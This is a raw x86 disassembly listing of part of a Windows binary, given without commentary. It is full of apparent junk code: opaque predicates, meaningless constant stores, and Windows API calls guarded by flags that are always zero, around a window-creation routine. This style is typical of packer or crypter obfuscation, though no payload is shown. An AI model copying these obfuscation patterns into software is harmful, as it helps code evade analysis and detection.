mov dword [ebp - 0xce0], eax
mov eax, dword [ebp - 0xce0]
cmp dword [ebp - 0xcd8], eax
je 0x452fde
mov dword [ebp - 0x2a10], 1
jmp 0x452fe5
and dword [ebp - 0x2a10], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x3590], eax
mov eax, dword [ebp - 0xce0]
cmp dword [ebp - 0x6c], eax
jge 0x453005
mov dword [ebp - 0x200c], 1
jmp 0x45300c
and dword [ebp - 0x200c], 0
mov eax, dword [ebp - 0x200c]
mov dword [ebp - 0xebc], eax
cmp dword [ebp - 0xebc], 0x229a
jl 0x453030
mov dword [ebp - 0x2014], 1
jmp 0x453037
and dword [ebp - 0x2014], 0
mov eax, dword [ebp - 0x2014]
sub eax, 0xff444262
mov dword [ebp - 0xec4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xec4]
mov dword [ebp + eax - 0x3b04], ecx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0xec4]
je 0x453072
mov dword [ebp - 0x201c], 1
jmp 0x453079
and dword [ebp - 0x201c], 0
mov eax, dword [ebp - 0x201c]
mov dword [ebp - 0x2a18], eax
mov dword [ebp - 0x240], 0xfffffffe
mov dword [ebp - 0x2024], 0x874be76d
mov dword [ebp - 0x178], 0
jmp 0x4530b2
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
jge 0x4530ce
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x358], 0xd5467356
jmp 0x4530a5
mov dword [ebp - 0x178], 0
jmp 0x4530e7
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 2
jge 0x453103
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x3be4], 0x376fbfcc
jmp 0x4530da
mov byte [ebp - 0x3f1], 0
movzx eax, byte [ebp - 0x3f1]
test eax, eax
je 0x45311d
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov dword [ebp - 0x240], 0x7b04
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0x240], eax
je 0x453141
mov dword [ebp - 0xecc], 1
jmp 0x453148
and dword [ebp - 0xecc], 0
mov eax, dword [ebp - 0xecc]
mov dword [ebp - 0x2024], eax
mov eax, dword [ebp - 0x2024]
sub eax, dword [ebp - 0x240]
cmp eax, 0xd714f98c
ja 0x453173
mov dword [ebp - 0xed4], 1
jmp 0x45317a
and dword [ebp - 0xed4], 0
mov eax, dword [ebp - 0x240]
add eax, dword [ebp - 0xed4]
imul eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x240]
jne 0x4531a1
mov dword [ebp - 0x202c], 1
jmp 0x4531a8
and dword [ebp - 0x202c], 0
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0x202c], eax
jge 0x4531c6
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x4531c6
and dword [ebp - 0xedc], 0
jmp 0x4531d0
mov dword [ebp - 0xedc], 1
mov eax, dword [ebp - 0x240]
imul eax, dword [ebp - 0xedc]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x358]
jl 0x4531f8
mov dword [ebp - 0x2034], 1
jmp 0x4531ff
and dword [ebp - 0x2034], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2034]
sub ecx, dword [ebp + eax - 0x358]
push 4
pop eax
imul eax, eax, 0
sub ecx, dword [ebp + eax - 0x358]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0x358]
jg 0x45323a
mov dword [ebp - 0xee4], 1
jmp 0x453241
and dword [ebp - 0xee4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x358]
imul eax, dword [ebp - 0xee4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x358]
jle 0x453270
mov dword [ebp - 0x2a20], 1
jmp 0x453277
and dword [ebp - 0x2a20], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x358], 0xfffffffc
mov dword [ebp - 0x464], 0x13eca4f8
mov dword [ebp - 0x2a28], 0xb8f3d421
mov dword [ebp - 0x180], 0
jmp 0x4532b5
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 1
jge 0x4532d1
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x3598], 1
jmp 0x4532a8
mov dword [ebp - 0x180], 0
jmp 0x4532ea
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 2
jge 0x453306
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x3bfc], 0x4c90d297
jmp 0x4532dd
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x464], 0
jmp 0x45332b
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0
jg 0x453374
mov dword [ebp - 0x2a28], 0xffffffff
mov byte [ebp - 0x43b], 0
movzx eax, byte [ebp - 0x43b]
test eax, eax
je 0x453372
push 0
push 0
push 0x1db5
push 0
push 0x2136
push 0
push 0x72e
push 0x1eda
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x45331e
mov dword [ebp - 0x20], 0x56a3367f
mov dword [ebp - 0x2cf4], 0
mov dword [ebp - 0x2cf0], 0
mov dword [ebp - 0x2cec], 0
mov dword [ebp - 0x2ce8], 0
mov dword [ebp - 0x35a0], 0xfffffffe
mov dword [ebp - 0x35a8], 0xffffffff
mov dword [ebp - 0x35b0], 0xdf82d83d
mov dword [ebp - 0x35b8], 1
mov dword [ebp - 0x35c0], 0x8d383303
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2cf4], 2
jmp 0x453403
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2cf4], 0xfffffffa
jle 0x4534ab
mov dword [ebp - 0x5bc], 0
mov dword [ebp - 0x35c8], 0x1e29ea41
mov dword [ebp - 0x203c], 2
mov dword [ebp - 0x69c], 0
jmp 0x45344e
cmp dword [ebp - 0x69c], 4
jge 0x45346a
mov dword [ebp - 0xe8], 0xaaf5bfb6
mov dword [ebp - 0x360], 0xfffffff8
mov dword [ebp - 0x600], 0xfffffff7
mov dword [ebp - 0x204c], 0xfb389fa1
mov dword [ebp - 0x930], 0
jmp 0x4534ec
cmp dword [ebp - 0x930], 2
jge 0x453508
cmp dword [ebp + 8], 1
jne 0x46ad61
mov dword [ebp - 0x3330], 0xcb13638e
mov dword [ebp - 0x3938], 0xffffffff
mov dword [ebp - 0x3338], 0xfffffffa
mov dword [ebp - 0x14ec], 0
mov dword [ebp - 0x3774], 0x37d0
mov dword [ebp - 0x14f4], 0x8319
mov dword [ebp - 0x1c4], 0
jmp 0x463df7
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 4
jge 0x463e13
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x3d60], 4
jmp 0x463dea
mov dword [ebp - 0x1c4], 0
jmp 0x463e2c
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 3
jge 0x463e48
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x3cb0], 5
jmp 0x463e1f
mov eax, dword [ebp - 0x14ec]
inc eax
mov dword [ebp - 0x14ec], eax
mov eax, dword [ebp - 0x14f4]
dec eax
mov dword [ebp - 0x14f4], eax
mov dword [ebp - 0x3c8], 0xa48bbca6
mov dword [ebp - 0x1504], 0xe4d9edbd
mov dword [ebp - 0x1514], 0xfffffff7
mov dword [ebp - 0xab8], 0x3a18e418
mov dword [ebp - 0x297c], 0xffffffff
mov dword [ebp - 0x14fc], 0xfffe
mov dword [ebp - 0x2974], 0xa814b11f
mov dword [ebp - 0x2c48], 0xb3799040
mov dword [ebp - 0x3340], 0x71db
mov dword [ebp - 0x770], 0
jmp 0x463ed5
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 2
jge 0x463ef1
mov eax, dword [ebp - 0x770]
mov dword [ebp + eax*4 - 0x3c14], 0xc3414b58
jmp 0x463ec8
mov dword [ebp - 0x3c8], 0
jmp 0x463f0a
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x13
jge 0x463f3d
mov byte [ebp - 0x422], 0
movzx eax, byte [ebp - 0x422]
test eax, eax
je 0x463f3b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
jmp 0x463efd
cmp dword [ebp - 0x3c8], 0
jne 0x463fe5
mov eax, dword [ebp - 0x14fc]
inc eax
mov dword [ebp - 0x14fc], eax
mov eax, dword [ebp - 0xab8]
mov dword [ebp - 0x1504], eax
cmp dword [ebp - 0x1504], 0
je 0x463f8e
mov eax, dword [ebp - 0x2974]
mov dword [ebp - 0x389c], eax
mov eax, dword [ebp - 0xab8]
neg eax
je 0x463f8e
mov dword [ebp - 0x150c], 1
jmp 0x463f95
and dword [ebp - 0x150c], 0
mov eax, dword [ebp - 0x150c]
mov dword [ebp - 0x1514], eax
mov eax, dword [ebp - 0x1514]
neg eax
cmp eax, dword [ebp - 0x2c48]
jl 0x463fbd
mov dword [ebp - 0x151c], 1
jmp 0x463fc4
and dword [ebp - 0x151c], 0
mov eax, dword [ebp - 0x3c8]
mov ecx, dword [ebp - 0x151c]
neg ecx
add eax, ecx
cmp dword [ebp - 0x3c8], eax
jle 0x463fe5
and dword [ebp - 0x1524], 0
jmp 0x463fef
mov dword [ebp - 0x1524], 1
cmp dword [ebp - 0x1524], 0xe4cff15c
jne 0x464007
mov dword [ebp - 0x152c], 1
jmp 0x46400e
and dword [ebp - 0x152c], 0
mov eax, dword [ebp - 0x297c]
cmp dword [ebp - 0x152c], eax
jle 0x464028
mov dword [ebp - 0x1534], 1
jmp 0x46402f
and dword [ebp - 0x1534], 0
mov eax, dword [ebp - 0x1534]
mov dword [ebp - 0xab8], eax
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x2b64], 0xd00693e9
mov dword [ebp - 0x3348], 8
mov dword [ebp - 0x377c], 2
mov dword [ebp - 0x3350], 0xffffffff
mov dword [ebp - 0x39fc], 0xffffffff
mov dword [ebp - 0x3358], 0xddcef989
mov dword [ebp - 0x3784], 0xfffffff8
mov dword [ebp - 0x3360], 0xffffffff
mov dword [ebp - 0x346c], 1
mov dword [ebp - 0x78], 0
jmp 0x4640af
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x4640c5
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x153c], 7
jmp 0x4640a8
mov dword [ebp - 0x78], 0
jmp 0x4640d5
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x4640eb
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x3c4c], 0x9683648b
jmp 0x4640ce
mov dword [ebp - 0x78], 0
jmp 0x4640fb
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x464111
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x336c], 0xe136
jmp 0x4640f4
mov dword [ebp - 0x774], 0
jmp 0x46412a
mov eax, dword [ebp - 0x774]
dec eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 0xfffffff5
jl 0x464205
mov dword [ebp - 0x470], 0xffffffff
mov dword [ebp - 0x3470], 0x23607a98
mov dword [ebp - 0x3378], 0xfffffff8
mov dword [ebp - 0x154c], 0xc0233fd5
mov dword [ebp - 0x77c], 0
jmp 0x464178
mov eax, dword [ebp - 0x77c]
inc eax
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 4
jge 0x464194
mov eax, dword [ebp - 0x77c]
mov dword [ebp + eax*4 - 0x3d80], 0xfbd13d8c
jmp 0x46416b
mov dword [ebp - 0x470], 0
jmp 0x4641ad
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0
jg 0x4641f3
mov eax, dword [ebp - 0x470]
mov ecx, dword [ebp - 0x470]
mov ecx, dword [ebp + ecx*4 - 0x153c]
cmp dword [ebp + eax*4 - 0x153c], ecx
jle 0x4641de
mov dword [ebp - 0x1544], 1
jmp 0x4641e5
and dword [ebp - 0x1544], 0
mov eax, dword [ebp - 0x1544]
mov dword [ebp - 0x2b64], eax
jmp 0x4641a0
mov eax, dword [ebp - 0x154c]
inc eax
mov dword [ebp - 0x154c], eax
jmp 0x46411d
mov dword [ebp - 0x1ec], 5
mov dword [ebp - 0xad0], 0xffff
mov dword [ebp - 0x24], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac0], 0xffffffff
mov dword [ebp - 0x58], 0x3372585f
mov dword [ebp - 0x2b6c], 0xffffffff
mov dword [ebp - 0x15c4], 0xffffffff
mov dword [ebp - 0x784], 0
jmp 0x464268
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 1
jge 0x464284
mov eax, dword [ebp - 0x784]
mov dword [ebp + eax*4 - 0x3d0], 0x12fd89d6
jmp 0x46425b
cmp dword [ebp - 0x24], 1
je 0x464296
mov dword [ebp - 0x1554], 1
jmp 0x46429d
and dword [ebp - 0x1554], 0
mov eax, dword [ebp - 0x1554]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3478], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xac0], eax
mov eax, dword [ebp - 0xac0]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
je 0x4642d8
mov dword [ebp - 0x2984], 1
jmp 0x4642df
and dword [ebp - 0x2984], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3384], eax
cmp dword [ebp - 0xac0], 0
je 0x4642f5
cmp dword [ebp - 0x24], 0
mov dword [ebp - 0xad0], 1
cmp dword [ebp - 0xad0], 0
jge 0x46431a
mov eax, 0xfafb
test eax, eax
jne 0x46431a
and dword [ebp - 0x155c], 0
jmp 0x464324
mov dword [ebp - 0x155c], 1
mov eax, dword [ebp - 0x155c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x24], eax
jge 0x464341
mov dword [ebp - 0x1564], 1
jmp 0x464348
and dword [ebp - 0x1564], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x1564], eax
je 0x464357
cmp dword [ebp - 0x24], 0
xor eax, eax
sub eax, 0x9aa5
imul eax, dword [ebp - 0x58]
cmp eax, 0x1328
jl 0x464375
mov dword [ebp - 0x156c], 1
jmp 0x46437c
and dword [ebp - 0x156c], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x156c], eax
jl 0x464393
mov dword [ebp - 0x2cc4], 1
jmp 0x46439a
and dword [ebp - 0x2cc4], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x3480], eax
cmp dword [ebp - 0x58], 6
ja 0x4643be
cmp dword [ebp - 0xa8], 0
je 0x4643be
mov dword [ebp - 0x1574], 1
jmp 0x4643c5
and dword [ebp - 0x1574], 0
mov eax, dword [ebp - 0x1574]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x4643e0
mov dword [ebp - 0x157c], 1
jmp 0x4643e7
and dword [ebp - 0x157c], 0
cmp dword [ebp - 0x157c], 0xf7673ed1
jae 0x4645fe
mov dword [ebp - 0x298c], 0xfffffffa
mov dword [ebp - 0x1cc], 0
jmp 0x46441a
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x15ac], 0x56a74ab7
mov dword [ebp - 0x15d4], 1
mov dword [ebp - 0x15e4], 0x3cb4ea99
mov dword [ebp - 0x15ec], 4
mov dword [ebp - 0x15fc], 0x1854e461
mov dword [ebp - 0x78c], 0
jmp 0x464653
xor ecx, ecx
call fcn.00429677
push eax
call fcn.0046e5a5
pop ecx
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x2878], 0xd00693e9
mov dword [ebp - 0x302c], 8
mov dword [ebp - 0x3034], 2
mov dword [ebp - 0x303c], 0xffffffff
mov dword [ebp - 0x3044], 0xffffffff
mov dword [ebp - 0x304c], 0xddcef989
mov dword [ebp - 0x3054], 0xfffffff8
mov dword [ebp - 0x305c], 0xffffffff
mov dword [ebp - 0x3064], 1
mov dword [ebp - 0x98], 0
jmp 0x46adec
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x46ae08
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xf60], 7
jmp 0x46addf
mov dword [ebp - 0x98], 0
jmp 0x46ae21
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x46ae3d
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x3c7c], 0x9683648b
jmp 0x46ae14
mov dword [ebp - 0x98], 0
jmp 0x46ae56
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x46ae72
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x306c], 0xe136
jmp 0x46ae49
mov dword [ebp - 0x6d8], 0
jmp 0x46ae8b
mov eax, dword [ebp - 0x6d8]
dec eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 0xfffffff5
jl 0x46af66
mov dword [ebp - 0x4d8], 0xffffffff
mov dword [ebp - 0x3074], 0x23607a98
mov dword [ebp - 0x307c], 0xfffffff8
mov dword [ebp - 0xf70], 0xc0233fd5
mov dword [ebp - 0x6e0], 0
jmp 0x46aed9
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 4
jge 0x46aef5
mov eax, dword [ebp - 0x6e0]
mov dword [ebp + eax*4 - 0x3da0], 0xfbd13d8c
jmp 0x46aecc
mov dword [ebp - 0x4d8], 0
jmp 0x46af0e
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0
jg 0x46af54
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [ebp - 0x4d8]
mov ecx, dword [ebp + ecx*4 - 0xf60]
cmp dword [ebp + eax*4 - 0xf60], ecx
jle 0x46af3f
mov dword [ebp - 0xf68], 1
jmp 0x46af46
and dword [ebp - 0xf68], 0
mov eax, dword [ebp - 0xf68]
mov dword [ebp - 0x2878], eax
jmp 0x46af01
mov eax, dword [ebp - 0xf70]
inc eax
mov dword [ebp - 0xf70], eax
jmp 0x46ae7e
mov dword [ebp - 0x3084], 0xffffffff
mov byte [ebp - 0x41d], 0
movzx eax, byte [ebp - 0x41d]
test eax, eax
je 0x46af91
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
mov byte [ebp - 0x381], 0
movzx eax, byte [ebp - 0x381]
test eax, eax
je 0x46afc3
push 0
push 0x15d3
push 0x1359
push 0
push 0x443
push 0x2323
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xa85adc
push 0xa85adc
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc20], eax
mov dword [ebp - 0x244], 0xfffffffe
mov dword [ebp - 0xf80], 0x874be76d
mov dword [ebp - 0x23c], 0
jmp 0x46b023
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 1
jge 0x46b03f
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0x410], 0xd5467356
jmp 0x46b016
mov dword [ebp - 0x23c], 0
jmp 0x46b058
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x46b074
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0x3bd4], 0x376fbfcc
jmp 0x46b04b
mov byte [ebp - 0x41f], 0
movzx eax, byte [ebp - 0x41f]
test eax, eax
je 0x46b08e
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov dword [ebp - 0x244], 0x7b04
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 0x244], eax
je 0x46b0b2
mov dword [ebp - 0xf78], 1
jmp 0x46b0b9
and dword [ebp - 0xf78], 0
mov eax, dword [ebp - 0xf78]
mov dword [ebp - 0xf80], eax
mov eax, dword [ebp - 0xf80]
sub eax, dword [ebp - 0x244]
cmp eax, 0xd714f98c
ja 0x46b0e4
mov dword [ebp - 0xf88], 1
jmp 0x46b0eb
and dword [ebp - 0xf88], 0
mov eax, dword [ebp - 0x244]
add eax, dword [ebp - 0xf88]
imul eax, dword [ebp - 0x244]
cmp eax, dword [ebp - 0x244]
jne 0x46b112
mov dword [ebp - 0xf90], 1
jmp 0x46b119
and dword [ebp - 0xf90], 0
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 0xf90], eax
jge 0x46b137
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x46b137
and dword [ebp - 0xf98], 0
jmp 0x46b141
mov dword [ebp - 0xf98], 1
mov eax, dword [ebp - 0x244]
imul eax, dword [ebp - 0xf98]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x410]
jl 0x46b169
mov dword [ebp - 0xfa0], 1
jmp 0x46b170
and dword [ebp - 0xfa0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xfa0]
sub ecx, dword [ebp + eax - 0x410]
push 4
pop eax
imul eax, eax, 0
sub ecx, dword [ebp + eax - 0x410]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0x410]
jg 0x46b1ab
mov dword [ebp - 0xfa8], 1
jmp 0x46b1b2
and dword [ebp - 0xfa8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x410]
imul eax, dword [ebp - 0xfa8]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x410]
jle 0x46b1e1
mov dword [ebp - 0x2880], 1
jmp 0x46b1e8
and dword [ebp - 0x2880], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x410], 0xfffffffc
push 5
push dword [ebp - 0xc20]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x6e8], 0x8ade19d2
mov dword [ebp - 0x308c], 0xffffffff
mov dword [ebp - 0x3094], 0x64dc9ed9
mov dword [ebp - 0x309c], 0xfffffffe
mov dword [ebp - 0x30a4], 0x4709ba87
mov dword [ebp - 0x4e0], 0xfffffffe
mov dword [ebp - 0x24c], 0
jmp 0x46b25c
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x46b278
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x3cec], 2
jmp 0x46b24f
mov dword [ebp - 0x24c], 0
jmp 0x46b291
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x46b2ad
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x3d1c], 0xfffffffc
jmp 0x46b284
mov dword [ebp - 0x6e8], 2
jmp 0x46b2c6
mov eax, dword [ebp - 0x6e8]
dec eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0
jl 0x46b363
mov dword [ebp - 0x30ac], 0xdb34
mov dword [ebp - 0x30b4], 0xffffffff
mov dword [ebp - 0x30bc], 6
mov dword [ebp - 0x3a48], 7
mov dword [ebp - 0x3a44], 7
mov dword [ebp - 0x3a40], 7
mov dword [ebp - 0x3a3c], 7
mov dword [ebp - 0x2888], 0xaea0a9f4
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4e0], 0
jmp 0x46b349
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 2
jg 0x46b35e
mov dword [ebp - 0x2888], 0xe13f5e3d
jmp 0x46b33c
jmp 0x46b2b9
mov byte [ebp - 0x389], 0
movzx eax, byte [ebp - 0x389]
test eax, eax
je 0x46b382
push 0
push 0x2308
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push dword [ebp - 0xc20]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [ebp - 0x6f0], 0
jmp 0x46b3a7
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 2
jge 0x46b3c3
mov eax, dword [ebp - 0x6f0]
mov dword [ebp + eax*4 - 0x2538], 0xffffffff
jmp 0x46b39a
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2538], 0
jmp 0x46b3f1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2538], 1
jge 0x46b467